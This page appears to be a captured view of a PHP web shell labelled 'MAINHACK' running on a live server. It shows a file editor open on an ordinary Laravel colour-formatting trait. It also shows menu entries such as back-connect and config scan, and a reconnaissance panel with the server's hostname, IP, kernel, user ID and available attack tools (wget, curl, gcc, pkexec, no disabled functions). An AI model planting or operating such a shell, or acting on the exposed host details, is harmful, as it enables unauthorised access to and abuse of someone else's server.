[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Colors.php
<?php namespace Laravel\Prompts\Concerns; trait Colors { /** * Reset all colors and styles. */ public function reset(string $text): string { return "\e[0m{$text}\e[0m"; } /** * Make the text bold. */ public function bold(string $text): string { return "\e[1m{$text}\e[22m"; } /** * Make the text dim. */ public function dim(string $text): string { return "\e[2m{$text}\e[22m"; } /** * Make the text italic. */ public function italic(string $text): string { return "\e[3m{$text}\e[23m"; } /** * Underline the text. */ public function underline(string $text): string { return "\e[4m{$text}\e[24m"; } /** * Invert the text and background colors. */ public function inverse(string $text): string { return "\e[7m{$text}\e[27m"; } /** * Hide the text. */ public function hidden(string $text): string { return "\e[8m{$text}\e[28m"; } /** * Strike through the text. */ public function strikethrough(string $text): string { return "\e[9m{$text}\e[29m"; } /** * Set the text color to black. */ public function black(string $text): string { return "\e[30m{$text}\e[39m"; } /** * Set the text color to red. */ public function red(string $text): string { return "\e[31m{$text}\e[39m"; } /** * Set the text color to green. */ public function green(string $text): string { return "\e[32m{$text}\e[39m"; } /** * Set the text color to yellow. */ public function yellow(string $text): string { return "\e[33m{$text}\e[39m"; } /** * Set the text color to blue. */ public function blue(string $text): string { return "\e[34m{$text}\e[39m"; } /** * Set the text color to magenta. */ public function magenta(string $text): string { return "\e[35m{$text}\e[39m"; } /** * Set the text color to cyan. */ public function cyan(string $text): string { return "\e[36m{$text}\e[39m"; } /** * Set the text color to white. */ public function white(string $text): string { return "\e[37m{$text}\e[39m"; } /** * Set the text background to black. */ public function bgBlack(string $text): string { return "\e[40m{$text}\e[49m"; } /** * Set the text background to red. */ public function bgRed(string $text): string { return "\e[41m{$text}\e[49m"; } /** * Set the text background to green. */ public function bgGreen(string $text): string { return "\e[42m{$text}\e[49m"; } /** * Set the text background to yellow. */ public function bgYellow(string $text): string { return "\e[43m{$text}\e[49m"; } /** * Set the text background to blue. */ public function bgBlue(string $text): string { return "\e[44m{$text}\e[49m"; } /** * Set the text background to magenta. */ public function bgMagenta(string $text): string { return "\e[45m{$text}\e[49m"; } /** * Set the text background to cyan. */ public function bgCyan(string $text): string { return "\e[46m{$text}\e[49m"; } /** * Set the text background to white. */ public function bgWhite(string $text): string { return "\e[47m{$text}\e[49m"; } /** * Set the text color to gray. */ public function gray(string $text): string { return "\e[90m{$text}\e[39m"; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.77 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002